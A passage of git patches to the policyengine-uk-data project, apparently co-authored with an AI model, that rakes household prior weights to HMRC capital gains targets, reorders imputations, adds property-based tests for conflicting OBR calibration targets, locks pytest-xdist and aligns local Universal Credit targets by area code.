+) -> np.ndarray:
+    """Scale household priors so they reproduce each named national target.
+
+    For each named target, the priors of the households that contribute to
+    it are multiplied by one factor, so the calibration starts with that
+    target met. The named targets must count disjoint sets of households:
+    then no factor disturbs another target, and one pass meets them all.
+    A name the matrix lacks, or a target no household contributes to, is
+    skipped, because no factor can meet it.
+
+    Calibration moves weights only gradually from their priors, so a target
+    that starts many times over or under can still be far off when the
+    epochs run out, and can drag the targets that share its records with it.
+    """
+    priors = np.asarray(priors, dtype=np.float64).copy()
+    names = [name for name in names if name in matrix.columns]
+    columns = matrix[names].to_numpy(dtype=np.float64)
+    if (np.count_nonzero(columns, axis=1) > 1).any():
+        raise ValueError(
+            "Targets raked at the prior must count disjoint sets of households"
+        )
+    for name, column in zip(names, columns.T):
+        target = float(targets[name])
+        if target <= 0:
+            raise ValueError(f"Cannot rake priors to a non-positive target: {name}")
+        estimate = float((priors * column).sum())
+        if estimate > 0:
+            priors[column != 0] *= target / estimate
+    return priors
+
+
 def _as_bool_mask(series: pd.Series) -> np.ndarray:
     if pd.api.types.is_bool_dtype(series):
         return series.fillna(False).to_numpy(dtype=bool)
@@ -221,6 +277,7 @@ def calibrate_local_areas(
     nested_progress=None,
     time_period: int | str | None = None,
     zero_weight_prior_total_share: float = DEFAULT_ZERO_WEIGHT_PRIOR_TOTAL_SHARE,
+    prior_rake_targets=(),
 ):
     """
     Generic calibration function for local areas (constituencies, local authorities, etc.)
@@ -239,6 +296,9 @@ def calibrate_local_areas(
         area_name: Name of the area type for logging
         zero_weight_prior_total_share: Share of prior household mass to reserve for
             rows whose incoming household_weight is zero.
+        prior_rake_targets: Names of national targets, counting disjoint sets of
+            households, that the starting weights are scaled to meet (see
+            rake_priors_to_targets).
     """
     if dataset_key is None:
         dataset_key = default_weight_dataset_key()
@@ -281,6 +341,10 @@ def track_stage(stage_name: str):
             dataset.household.household_weight.values,
             zero_weight_total_share=zero_weight_prior_total_share,
         )
+        if prior_rake_targets:
+            household_prior_weights = rake_priors_to_targets(
+                household_prior_weights, m_n, y_n, prior_rake_targets
+            )
         area_prior_weights = household_prior_weights / areas_per_household
         original_weights = np.log(np.clip(area_prior_weights, 1e-12, None))
         weights = torch.tensor(

From bb5bda3ea052deb4f91143a3ba49665e2e084982 Mon Sep 17 00:00:00 2001
From: Max Ghenis <max@policyengine.org>
Date: Sun, 11 Oct 2026 20:24:46 -0400
Subject: [PATCH 10/76] Impute capital gains after the other imputations

The has-gains copies of zero-weight SPI households now carry a weight,
so that the calibration starts from the right share of each. Salary
sacrifice, student loan plans and Pension Credit take-up count people on
survey weights and draw per record. Run before capital gains, they see
neither those weights nor the copies, and a copy matches its original in
everything but the gain.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../capital-gains-hmrc-2024-25.fixed.md       |  2 +-
 docs/imputations.md                           |  6 ++--
 .../datasets/create_datasets.py               | 33 +++++++++++--------
 3 files changed, 24 insertions(+), 17 deletions(-)

diff --git a/changelog.d/capital-gains-hmrc-2024-25.fixed.md b/changelog.d/capital-gains-hmrc-2024-25.fixed.md
index edb114a8..4b514b3b 100644
--- a/changelog.d/capital-gains-hmrc-2024-25.fixed.md
+++ b/changelog.d/capital-gains-hmrc-2024-25.fixed.md
@@ -1 +1 @@
-- Calibrate capital gains to HMRC's 2024-25 outturn for individuals (Capital Gains Tax statistics, 2026 release: 548,000 taxpayers with £119.3bn of gains above the annual exempt amount) and start the calibration on it. The 1.58.0 build targeted the 2023-24 all-taxpayer headline (£65.9bn, including trusts) and ended 19% under even that, with £53bn of gains above the exempt amount and a further -£15bn of losses on 1.4m people. Its calibration started 17 times over on CGT taxpayers, because the has-gains copy of each zero-weight SPI household received a full prior weight. Each household now splits its mass between itself and a has-gains twin by the Advani-Summers share for its income band, zero-weight households included; draws at or under the exempt amount, including losses, carry no gains; donors cover only the size bands from £500,000 up; and the calibration scales its starting weights so every HMRC size band's taxpayer count begins on target. The aggregate targets are now the sums of the size-band targets.
+- Calibrate capital gains to HMRC's 2024-25 outturn for individuals (Capital Gains Tax statistics, 2026 release: 548,000 taxpayers with £119.3bn of gains above the annual exempt amount) and start the calibration on it. The 1.58.0 build targeted the 2023-24 all-taxpayer headline (£65.9bn, including trusts) and ended 19% under even that, with £53bn of gains above the exempt amount and a further -£15bn of losses on 1.4m people. Its calibration started 17 times over on CGT taxpayers, because the has-gains copy of each zero-weight SPI household received a full prior weight. Capital gains are now the last imputation, so a has-gains copy matches its original in everything but the gain. Each household splits its mass between itself and a has-gains twin by the Advani-Summers share for its income band, zero-weight households included; draws at or under the exempt amount, including losses, carry no gains; donors cover only the size bands from £500,000 up; and the calibration scales its starting weights so every HMRC size band's taxpayer count begins on target. The aggregate targets are now the sums of the size-band targets.
diff --git a/docs/imputations.md b/docs/imputations.md
index e6f7da16..2550db6a 100644
--- a/docs/imputations.md
+++ b/docs/imputations.md
@@ -11,9 +11,9 @@ The imputations are applied in this order (dependencies noted):
 3. **VAT** (from ETB)
 4. **Public Services** (from ETB)
 5. **Income** (from SPI)
-6. **Capital Gains** (from Advani-Summers data)
-7. **Salary Sacrifice** (from FRS subsample)
-8. **Student Loan Plan** (rule-based, from age)
+6. **Salary Sacrifice** (from FRS subsample)
+7. **Student Loan Plan** (rule-based, from age)
+8. **Capital Gains** (from Advani-Summers data and HMRC statistics) — last, after Pension Credit take-up is assigned, because it stacks a second record for each household with gains
 
 ---
 
diff --git a/policyengine_uk_data/datasets/create_datasets.py b/policyengine_uk_data/datasets/create_datasets.py
index 7bf21e93..6f6a3a6e 100644
--- a/policyengine_uk_data/datasets/create_datasets.py
+++ b/policyengine_uk_data/datasets/create_datasets.py
@@ -106,10 +106,10 @@ def main():
             "Impute VAT",
             "Impute public service usage",
             "Impute income",
-            "Impute capital gains",
             "Impute salary sacrifice",
             "Impute student loan plan",
             "Assign Pension Credit take-up",
+            "Impute capital gains",
             "Clone and assign OA geography",
             "Calibrate constituency weights",
             "Calibrate local authority weights",
@@ -189,18 +189,6 @@ def main():
             frs = impute_income(frs)
             update_dataset("Impute income", "completed")
 
-            update_dataset("Impute capital gains", "processing")
-            frs = impute_capital_gains(frs)
-            # Donors for the HMRC size-of-gain bands the spline cannot
-            # reach; weighted by calibration via the per-band targets in
-            # targets/sources/hmrc_cgt.py.
-            from policyengine_uk_data.datasets.imputations.capital_gains import (
-                stack_cgt_band_donors,
-            )
-
-            frs = stack_cgt_band_donors(frs)
-            update_dataset("Impute capital gains", "completed")
-
             update_dataset("Impute salary sacrifice", "processing")
             frs = impute_salary_sacrifice(frs)
             update_dataset("Impute salary sacrifice", "completed")
@@ -224,6 +212,25 @@ def main():
             )
             update_dataset("Assign Pension Credit take-up", "completed")
 
+            # Capital gains come last of the imputations. They stack a second
+            # record for each household with gains and give the copies of
+            # zero-weight (SPI) households a weight, so that the calibration
+            # starts from the right share of each. Running last, the copies
+            # match their originals in everything but the gain, and the
+            # steps above, which count people on survey weights, never see
+            # them.
+            update_dataset("Impute capital gains", "processing")
+            frs = impute_capital_gains(frs)
+            # Donors for the HMRC size-of-gain bands the spline cannot
+            # reach; weighted by calibration via the per-band targets in
+            # targets/sources/hmrc_cgt.py.
+            from policyengine_uk_data.datasets.imputations.capital_gains import (
+                stack_cgt_band_donors,
+            )
+
+            frs = stack_cgt_band_donors(frs)
+            update_dataset("Impute capital gains", "completed")
+
             # Clone households and assign OA geography
             update_dataset("Clone and assign OA geography", "processing")
             from policyengine_uk_data.calibration.clone_and_assign import (

From 22ef313669da4ca24256b25c5c15a698dea51bcf Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Sun, 11 Oct 2026 20:59:30 -0400
Subject: [PATCH 11/76] Drop obr/ni from the fallback test set; key conflicts
 on countries

- test_obr_efo_fallback: the receipts and NICs set from #536 listed
  obr/ni, which this branch no longer emits.
- test_obr_target_conflicts: #490/#530 added Target.countries, and
  create_target_matrix zeroes a column outside them, so the column key
  now includes countries. The random differential check uses Hypothesis,
  now a dev dependency, and draws country restrictions too.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 changelog.d/obr-ni-total-target.fixed.md      |  2 +-
 .../tests/test_obr_efo_fallback.py            |  2 +-
 .../tests/test_obr_target_conflicts.py        | 68 +++++++++++--------
 3 files changed, 43 insertions(+), 29 deletions(-)

diff --git a/changelog.d/obr-ni-total-target.fixed.md b/changelog.d/obr-ni-total-target.fixed.md
index 21af4b12..f0e4f4cf 100644
--- a/changelog.d/obr-ni-total-target.fixed.md
+++ b/changelog.d/obr-ni-total-target.fixed.md
@@ -1 +1 @@
-Stop calibrating OBR total NICs (Table 3.8, £200bn in 2025-26) on `ni_employee`, which the Class 1 employee NICs target (£50bn) also used; the two targets on one matrix column could not both be met. The Table 3.4 class targets (employee, employer, self-employed) already cover every NIC class the data populates. Tests now pin each OBR target's variable and check that no two calibration targets sharing a plain-variable column disagree on a year's value.
+Stop calibrating OBR total NICs (Table 3.8, £200bn in 2025-26) on `ni_employee`, which the Class 1 employee NICs target (£50bn) also used; the two targets on one matrix column could not both be met. The Table 3.4 class targets (employee, employer, self-employed) already cover every NIC class the data populates. Tests now pin the variable of each OBR receipts target and check that no two calibration targets sharing a plain-variable column disagree on a year's value.
diff --git a/policyengine_uk_data/tests/test_obr_efo_fallback.py b/policyengine_uk_data/tests/test_obr_efo_fallback.py
index 5884642c..5ea3267d 100644
--- a/policyengine_uk_data/tests/test_obr_efo_fallback.py
+++ b/policyengine_uk_data/tests/test_obr_efo_fallback.py
@@ -95,9 +95,9 @@ def _connection_error():
 
 _EFO_URL_KEYS = ["efo_receipts", "efo_expenditure"]
 
+# Total NICs (obr/ni) is no longer a target: _parse_nics targets NICs by class.
 _RECEIPTS_AND_NICS_TARGETS = {
     "obr/income_tax",
-    "obr/ni",
     "obr/vat",
     "obr/fuel_duties",
     "obr/capital_gains_tax",
diff --git a/policyengine_uk_data/tests/test_obr_target_conflicts.py b/policyengine_uk_data/tests/test_obr_target_conflicts.py
index 192cd471..62db663f 100644
--- a/policyengine_uk_data/tests/test_obr_target_conflicts.py
+++ b/policyengine_uk_data/tests/test_obr_target_conflicts.py
@@ -14,11 +14,12 @@
 """
 
 import math
-import random
 from unittest.mock import patch
 
 import pytest
 import requests
+from hypothesis import HealthCheck, given, settings
+from hypothesis import strategies as st
 
 from policyengine_uk_data.targets import build_loss_matrix as blm
 from policyengine_uk_data.targets.schema import Target, Unit
@@ -46,10 +47,9 @@ def column(target):
         key = blm._compute_column(target, None, None)
         if key is None:
             return None
-        # Targets restricted to different countries get different columns
-        # (the ``countries`` field proposed in #490 and #530).
-        countries = getattr(target, "countries", None)
-        return key + (tuple(countries) if countries else None,)
+        # create_target_matrix zeroes a column outside the target's countries,
+        # so targets restricted to different countries get different columns.
+        return key + (target.countries,)
 
     return column
 
@@ -131,26 +131,40 @@ def _brute_force(targets, column) -> set[tuple]:
     return found
 
 
-def test_conflict_check_matches_pairwise_definition(column_of):
-    """Seeded random target sets: the grouped check flags exactly the
-    (column, year) pairs a pairwise comparison does. Covers custom columns,
-    counts against sums, and the nearest-earlier-year fallback."""
-    rng = random.Random(0)
-    for _ in range(300):
-        targets = []
-        for i in range(rng.randint(0, 8)):
-            is_count = rng.random() < 0.3
-            years = rng.sample(range(2020, 2027), rng.randint(1, 3))
-            targets.append(
-                Target(
-                    name=f"synthetic/{i}",
-                    variable=rng.choice(["a", "b", "c"]),
-                    source="synthetic",
-                    unit=Unit.COUNT if is_count else Unit.GBP,
-                    is_count=is_count,
-                    values={y: rng.choice([1.0, 2.0]) for y in years},
-                    custom_compute=(lambda *a: None) if rng.random() < 0.2 else None,
-                )
+@st.composite
+def synthetic_targets(draw) -> list[Target]:
+    targets = []
+    for i in range(draw(st.integers(0, 8))):
+        is_count = draw(st.booleans())
+        years = draw(
+            st.lists(st.integers(2020, 2026), min_size=1, max_size=3, unique=True)
+        )
+        targets.append(
+            Target(
+                name=f"synthetic/{i}",
+                variable=draw(st.sampled_from(["a", "b", "c"])),
+                source="synthetic",
+                unit=Unit.COUNT if is_count else Unit.GBP,
+                is_count=is_count,
+                countries=draw(st.sampled_from([None, ("ENGLAND",), ("WALES",)])),
+                values={y: draw(st.sampled_from([1.0, 2.0])) for y in years},
+                custom_compute=(lambda *a: None)
+                if draw(st.integers(0, 4)) == 0
+                else None,
             )
-        grouped = {(key, year) for key, year, _ in conflicts(targets, column_of)}
-        assert grouped == _brute_force(targets, column_of)
+        )
+    return targets
+
+
+@settings(
+    max_examples=300,
+    deadline=None,
+    suppress_health_check=[HealthCheck.function_scoped_fixture],
+)
+@given(targets=synthetic_targets())
+def test_conflict_check_matches_pairwise_definition(column_of, targets):
+    """The grouped check flags exactly the (column, year) pairs a pairwise
+    comparison does. Covers custom columns, counts against sums, country
+    restrictions and the nearest-earlier-year fallback."""
+    grouped = {(key, year) for key, year, _ in conflicts(targets, column_of)}
+    assert grouped == _brute_force(targets, column_of)

From 4d30fbe9fb9c31b5adbec95d0361fe5b0045ff2e Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Mon, 12 Oct 2026 08:19:43 -0400
Subject: [PATCH 12/76] Address Sol review r1 nits on the OBR NIC comment and
 conflict check

- obr.py: name what PE-UK lacks (statutory payment recoveries, Class 1A,
  1B, settlements, unallocated) and say ni_class_3 exists but is unfilled;
  the _parse_nics docstring no longer claims it covers Class 3.
- test_obr_target_conflicts: compare every pair in a shared column (isclose
  is not transitive), key countries as a set (restrict_to_countries uses
  np.isin), guard the registry-wide test against a silently empty registry,
  draw carry_forward and both orders of a two-country restriction, and pin
  the tolerance edge with an example.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/targets/sources/obr.py   | 12 ++--
 .../tests/test_obr_target_conflicts.py        | 55 ++++++++++++++++---
 2 files changed, 54 insertions(+), 13 deletions(-)

diff --git a/policyengine_uk_data/targets/sources/obr.py b/policyengine_uk_data/targets/sources/obr.py
index 110b81aa..07f584cb 100644
--- a/policyengine_uk_data/targets/sources/obr.py
+++ b/policyengine_uk_data/targets/sources/obr.py
@@ -263,9 +263,10 @@ def read_39(ws, row_num: int) -> dict[int, float]:
     # £50bn on one variable in 2025-26). Retargeting it on
     # total_national_insurance would still conflict: the total also counts
     # statutory payment recoveries and "Other NIC" (Class 1A, 1B and 3,
-    # settlements, unallocated). PE-UK has no variable for the first three, and
-    # no dataset fills Class 3 (#378). The class targets already cover every
-    # NIC class the data populates.
+    # settlements, unallocated). PE-UK has no variable for statutory payment
+    # recoveries, Class 1A, Class 1B, settlements or unallocated NICs, and
+    # ni_class_3 exists but no dataset fills it (#378). The class targets
+    # already cover every NIC class the data populates.
     ws39 = _find_receipts_sheet(wb)
     cash_rows = {
         "vat": ("Value added tax", "vat"),
@@ -376,8 +377,9 @@ def read_41(row_num: int) -> dict[int, float]:
 def _parse_nics(wb: openpyxl.Workbook) -> list[Target]:
     """Parse Table 3.4 (income tax and NICs detail) for all NIC classes.
 
-    Covers Class 1 employee and employer (PAYE), plus Classes 2, 3 and 4
-    (self-employed flat-rate, voluntary, and self-employed profit-based).
+    Covers Class 1 employee and employer (PAYE), plus Classes 2 and 4
+    (self-employed flat-rate and profit-based). Class 3 (voluntary) is
+    skipped: no dataset fills ``ni_class_3`` (#378).
     Omitting Classes 2/3/4 biased calibration by ~£2-5B/yr of NIC receipts
     — the omission pushed self-employment income downward to compensate,
     distorting reforms that touch SE income.
diff --git a/policyengine_uk_data/tests/test_obr_target_conflicts.py b/policyengine_uk_data/tests/test_obr_target_conflicts.py
index 62db663f..cdf19d62 100644
--- a/policyengine_uk_data/tests/test_obr_target_conflicts.py
+++ b/policyengine_uk_data/tests/test_obr_target_conflicts.py
@@ -14,6 +14,7 @@
 """
 
 import math
+from itertools import combinations
 from unittest.mock import patch
 
 import pytest
@@ -47,9 +48,11 @@ def column(target):
         key = blm._compute_column(target, None, None)
         if key is None:
             return None
-        # create_target_matrix zeroes a column outside the target's countries,
-        # so targets restricted to different countries get different columns.
-        return key + (target.countries,)
+        # create_target_matrix zeroes a column outside the target's countries
+        # (np.isin, so their order does not matter), so targets restricted to
+        # different countries get different columns.
+        countries = target.countries
+        return key + (frozenset(countries) if countries is not None else None,)
 
     return column
 
@@ -68,8 +71,10 @@ def conflicts(targets, column) -> set[tuple]:
                 for t in group
                 if (v := blm._resolve_value(t, year)) is not None
             }
-            first = next(iter(values.values()), None)
-            if any(not math.isclose(v, first, rel_tol=1e-9) for v in values.values()):
+            if any(
+                not math.isclose(a, b, rel_tol=1e-9)
+                for a, b in combinations(values.values(), 2)
+            ):
                 names = frozenset(values)
                 if names not in INTENDED_SHARED_COLUMNS:
                     found.add((key, year, names))
@@ -114,7 +119,12 @@ def test_total_nics_on_ni_employee_is_flagged(obr_targets, column_of):
 
 def test_calibration_targets_agree_on_shared_columns(column_of):
     """Every national, regional and country target the national matrix uses."""
-    assert conflicts(blm.calibration_targets(), column_of) == set()
+    targets = blm.calibration_targets()
+    # Guard against passing on a registry whose sources failed silently.
+    assert {"obr/ni_employee", "obr/ni_employer", "obr/vat"} <= {
+        t.name for t in targets
+    }
+    assert conflicts(targets, column_of) == set()
 
 
 def _brute_force(targets, column) -> set[tuple]:
@@ -146,7 +156,18 @@ def synthetic_targets(draw) -> list[Target]:
                 source="synthetic",
                 unit=Unit.COUNT if is_count else Unit.GBP,
                 is_count=is_count,
-                countries=draw(st.sampled_from([None, ("ENGLAND",), ("WALES",)])),
+                countries=draw(
+                    st.sampled_from(
+                        [
+                            None,
+                            ("ENGLAND",),
+                            ("WALES",),
+                            ("ENGLAND", "WALES"),
+                            ("WALES", "ENGLAND"),
+                        ]
+                    )
+                ),
+                carry_forward=draw(st.booleans()),
                 values={y: draw(st.sampled_from([1.0, 2.0])) for y in years},
                 custom_compute=(lambda *a: None)
                 if draw(st.integers(0, 4)) == 0
@@ -165,6 +186,24 @@ def synthetic_targets(draw) -> list[Target]:
 def test_conflict_check_matches_pairwise_definition(column_of, targets):
     """The grouped check flags exactly the (column, year) pairs a pairwise
     comparison does. Covers custom columns, counts against sums, country
-    restrictions and the nearest-earlier-year fallback."""
+    restrictions in either order, ``carry_forward=False`` and the
+    nearest-earlier-year fallback. The VOA population uprating in
+    ``_resolve_value`` is not drawn: it looks population totals up."""
     grouped = {(key, year) for key, year, _ in conflicts(targets, column_of)}
     assert grouped == _brute_force(targets, column_of)
+
+
+def test_conflict_check_compares_every_pair(column_of):
+    """isclose is not transitive: with the middle value first, comparing each
+    value to the first passes, but the outer pair is more than 1e-9 apart."""
+    targets = [
+        Target(
+            name=f"synthetic/{i}",
+            variable="a",
+            source="synthetic",
+            unit=Unit.GBP,
+            values={2025: value},
+        )
+        for i, value in enumerate([1 + 0.9e-9, 1.0, 1 + 1.8e-9])
+    ]
+    assert {year for _, year, _ in conflicts(targets, column_of)} == {2025}

From f5de403e0bec84709cca841edc1e82258862085d Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Mon, 12 Oct 2026 09:25:15 -0400
Subject: [PATCH 13/76] Compare the reference pairs in every year their column
 lists

Sol review r2: the pairwise reference checked a pair only in its own
listed years, so two carried-forward targets that disagree in a year only
a third target lists were reported by the grouped check alone. The
reference now uses the column's full year set, and a regression pins the
reviewer's three-target case.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../tests/test_obr_target_conflicts.py        | 32 +++++++++++++++++--
 1 file changed, 30 insertions(+), 2 deletions(-)

diff --git a/policyengine_uk_data/tests/test_obr_target_conflicts.py b/policyengine_uk_data/tests/test_obr_target_conflicts.py
index cdf19d62..2169a1e7 100644
--- a/policyengine_uk_data/tests/test_obr_target_conflicts.py
+++ b/policyengine_uk_data/tests/test_obr_target_conflicts.py
@@ -128,13 +128,19 @@ def test_calibration_targets_agree_on_shared_columns(column_of):
 
 
 def _brute_force(targets, column) -> set[tuple]:
-    """Reference: compare every pair of targets directly."""
+    """Reference: compare every pair of targets directly, in every year listed
+    by any target on their column (a carried-forward pair can disagree in a
+    year only a third target lists)."""
+    years_by_column: dict[tuple, set[int]] = {}
+    for t in targets:
+        if (key := column(t)) is not None:
+            years_by_column.setdefault(key, set()).update(t.values)
     found = set()
     for i, a in enumerate(targets):
         for b in targets[i + 1 :]:
             if column(a) is None or column(a) != column(b):
                 continue
-            for year in set(a.values) | set(b.values):
+            for year in years_by_column[column(a)]:
                 va, vb = blm._resolve_value(a, year), blm._resolve_value(b, year)
                 if None not in (va, vb) and not math.isclose(va, vb, rel_tol=1e-9):
                     found.add((column(a), year))
@@ -207,3 +213,25 @@ def test_conflict_check_compares_every_pair(column_of):
         for i, value in enumerate([1 + 0.9e-9, 1.0, 1 + 1.8e-9])
     ]
     assert {year for _, year, _ in conflicts(targets, column_of)} == {2025}
+
+
+def test_carried_values_are_compared_in_every_listed_year(column_of):
+    """a and b disagree in 2024 and, carried forward, in 2025, a year only c
+    lists; both checks must report both years (Sol review r2)."""
+    targets = [
+        Target(
+            name=name,
+            variable="a",
+            source="synthetic",
+            unit=Unit.GBP,
+            values=values,
+        )
+        for name, values in [
+            ("synthetic/a", {2024: 1.0}),
+            ("synthetic/b", {2024: 1 + 1.8e-9}),
+            ("synthetic/c", {2025: 1 + 0.9e-9}),
+        ]
+    ]
+    expected = {(("sum", "a", None), 2024), (("sum", "a", None), 2025)}
+    assert {(k, y) for k, y, _ in conflicts(targets, column_of)} == expected
+    assert _brute_force(targets, column_of) == expected

From 6c81e8912286e89fc0a28974a10476b3c634f9cf Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Wed, 14 Oct 2026 23:55:43 -0400
Subject: [PATCH 14/76] Add locked pytest-xdist development dependency

---
 pyproject.toml |  1 +
 uv.lock        | 26 +++++++++++++++++++++++++-
 2 files changed, 26 insertions(+), 1 deletion(-)

diff --git a/pyproject.toml b/pyproject.toml
index 74a9908c..683f096d 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -48,6 +48,7 @@ dev = [
     "build",
     "towncrier>=24.8.0",
     "hypothesis>=6.168.3",
+    "pytest-xdist>=3.8.0",
 ]
 
 [tool.setuptools]
diff --git a/uv.lock b/uv.lock
index dce9c828..dc2dd768 100644
--- a/uv.lock
+++ b/uv.lock
@@ -295,6 +295,15 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/c1/8b/5fe2cc11fee489817272089c4203e679c63b570a5aaeb18d852ae3cbba6a/et_xmlfile-2.0.0-py3-none-any.whl", hash = "sha256:7a91720bc756843502c3b7504c77b8fe44217c85c537d85037f0f536151b2caa", size = 18059, upload-time = "2024-10-25T17:25:39.051Z" },
 ]
 
+[[package]]
+name = "execnet"
+version = "2.1.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/bf/89/780e11f9588d9e7128a3f87788354c7946a9cbb1401ad38a48c4db9a4f07/execnet-2.1.2.tar.gz", hash = "sha256:63d83bfdd9a23e35b9c6a3261412324f964c2ec8dcd8d3c6916ee9373e0befcd", size = 166622, upload-time = "2025-11-12T09:56:37.75Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/ab/84/02fc1827e8cdded4aa65baef11296a9bbe595c474f0d6d758af082d849fd/execnet-2.1.2-py3-none-any.whl", hash = "sha256:67fba928dd5a544b783f6056f449e5e3931a5c378b128bc18501f7ea79e296ec", size = 40708, upload-time = "2025-11-12T09:56:36.333Z" },
+]
+
 [[package]]
 name = "executing"
 version = "2.2.1"
@@ -1433,7 +1442,7 @@ wheels = [
 
 [[package]]
 name = "policyengine-uk-data"
-version = "1.58.0"
+version = "1.58.1"
 source = { editable = "." }
 dependencies = [
     { name = "google-auth" },
@@ -1465,6 +1474,7 @@ dev = [
     { name = "itables" },
     { name = "l0-python" },
     { name = "pytest" },
+    { name = "pytest-xdist" },
     { name = "quantile-forest" },
     { name = "ruff" },
     { name = "tables" },
@@ -1493,6 +1503,7 @@ requires-dist = [
     { name = "policyengine-uk", specifier = ">=2.122.0" },
     { name = "pydantic", specifier = ">=2.0" },
     { name = "pytest", marker = "extra == 'dev'" },
+    { name = "pytest-xdist", marker = "extra == 'dev'", specifier = ">=3.8.0" },
     { name = "pyyaml" },
     { name = "quantile-forest", marker = "extra == 'dev'" },
     { name = "requests" },
@@ -1713,6 +1724,19 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/a8/a4/20da314d277121d6534b3a980b29035dcd51e6744bd79075a6ce8fa4eb8d/pytest-8.4.2-py3-none-any.whl", hash = "sha256:872f880de3fc3a5bdc88a11b39c9710c3497a547cfa9320bc3c5e62fbf272e79", size = 365750, upload-time = "2025-09-04T14:34:20.226Z" },
 ]
 
+[[package]]
+name = "pytest-xdist"
+version = "3.8.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "execnet" },
+    { name = "pytest" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/78/b4/439b179d1ff526791eb921115fca8e44e596a13efeda518b9d845a619450/pytest_xdist-3.8.0.tar.gz", hash = "sha256:7e578125ec9bc6050861aa93f2d59f1d8d085595d6551c2c90b6f4fad8d3a9f1", size = 88069, upload-time = "2025-07-01T13:30:59.346Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/ca/31/d4e37e9e550c2b92a9cbc2e4d0b7420a27224968580b5a447f420847c975/pytest_xdist-3.8.0-py3-none-any.whl", hash = "sha256:202ca578cfeb7370784a8c33d6d05bc6e13b4f25b5053c30a152269fd10f0b88", size = 46396, upload-time = "2025-07-01T13:30:56.632Z" },
+]
+
 [[package]]
 name = "python-dateutil"
 version = "2.9.0.post0"

From 248688c53b1060b1e32d46331c72313494fe24dd Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Wed, 14 Oct 2026 23:58:11 -0400
Subject: [PATCH 15/76] Fix local UC target alignment by area code

---
 changelog.d/468.fixed.md                      |   1 +
 .../calibration/matrix_builder.py             |  61 +--
 .../boundary_changes/mapping_matrix.py        |  13 +
 .../local_areas/constituencies/loss.py        |  32 +-
 .../local_areas/local_authorities/loss.py     |  12 +-
 policyengine_uk_data/db/etl.py                |  14 +-
 .../targets/sources/local_uc.py               |  57 ++-
 .../tests/test_devolved_housing_targets.py    |   8 +-
 .../tests/test_la_loss_missing_sources.py     |  13 +-
 .../tests/test_local_uc_alignment.py          | 400 ++++++++++++++++++
 .../tests/test_local_uc_etl.py                |  45 ++
 policyengine_uk_data/utils/uc_data.py         |  77 ++++
 12 files changed, 648 insertions(+), 85 deletions(-)
 create mode 100644 changelog.d/468.fixed.md
 create mode 100644 policyengine_uk_data/tests/test_local_uc_alignment.py
 create mode 100644 policyengine_uk_data/tests/test_local_uc_etl.py

diff --git a/changelog.d/468.fixed.md b/changelog.d/468.fixed.md
new file mode 100644
index 00000000..6c4cd34a
--- /dev/null
+++ b/changelog.d/468.fixed.md
@@ -0,0 +1 @@
+Align local Universal Credit targets by area code, preserve constituencies' 2024 boundaries, and use each matched constituency's country for its children split.
diff --git a/policyengine_uk_data/calibration/matrix_builder.py b/policyengine_uk_data/calibration/matrix_builder.py
index 820e7e74..fb36123c 100644
--- a/policyengine_uk_data/calibration/matrix_builder.py
+++ b/policyengine_uk_data/calibration/matrix_builder.py
@@ -189,14 +189,19 @@ def _load_area_targets(
         get_uk_total_population,
     )
 
-    y = pd.DataFrame()
     time_period = dataset.time_period
 
     # ── Income targets ──────────────────────────────────────────────
     if area_type == "constituency":
         incomes = get_constituency_income_targets()
+        age_targets = get_constituency_age_targets()
     else:
         incomes = get_la_income_targets()
+        age_targets = get_la_age_targets()
+
+    # SPI income and age inputs share this source order. Keep the codes
+    # through any boundary mapping before selecting the requested rows.
+    y = pd.DataFrame(index=pd.Index(age_targets["code"], name="code"))
 
     national_incomes = get_national_income_projections(int(time_period))
 
@@ -215,11 +220,6 @@ def _load_area_targets(
         )
 
     # ── Age targets ─────────────────────────────────────────────────
-    if area_type == "constituency":
-        age_targets = get_constituency_age_targets()
-    else:
-        age_targets = get_la_age_targets()
-
     uk_total_population = get_uk_total_population(int(time_period))
     age_cols = [c for c in age_targets.columns if c.startswith("age/")]
 
@@ -231,31 +231,40 @@ def _load_area_targets(
     for col in age_cols:
         y[col] *= uk_total_population / targets_total_pop * 0.9
 
+    # ── Boundary mapping (constituency 2010 → 2024 only) ───────────
+    if area_type == "constituency":
+        from policyengine_uk_data.datasets.local_areas.constituencies.boundary_changes.mapping_matrix import (
+            mapping_matrix,
+            old_codes,
+            new_codes,
+        )
+
+        y = pd.DataFrame(
+            mapping_matrix @ y.loc[old_codes].to_numpy(),
+            index=pd.Index(new_codes, name="code"),
+            columns=y.columns,
+        )
+
+    # Both the OA assignment matrix and the LA extras use area_codes order.
+    y = y.loc[area_codes["code"]]
+
     # ── UC targets ──────────────────────────────────────────────────
+    # Constituency UC counts are already on 2024 boundaries and must stay
+    # outside the mapping applied to the older income and age sources.
     if area_type == "constituency":
         from policyengine_uk_data.targets.sources.local_uc import (
             get_constituency_uc_targets,
             get_constituency_uc_by_children_targets,
         )
 
-        y["uc_households"] = get_constituency_uc_targets().values
-        uc_by_children = get_constituency_uc_by_children_targets()
+        y["uc_households"] = get_constituency_uc_targets().loc[y.index]
+        uc_by_children = get_constituency_uc_by_children_targets().loc[y.index]
         for col in uc_by_children.columns:
-            y[col] = uc_by_children[col].values
+            y[col] = uc_by_children[col]
     else:
         from policyengine_uk_data.targets.sources.local_uc import get_la_uc_targets
 
-        y["uc_households"] = get_la_uc_targets().values
-
-    # ── Boundary mapping (constituency 2010 → 2024 only) ───────────
-    if area_type == "constituency":
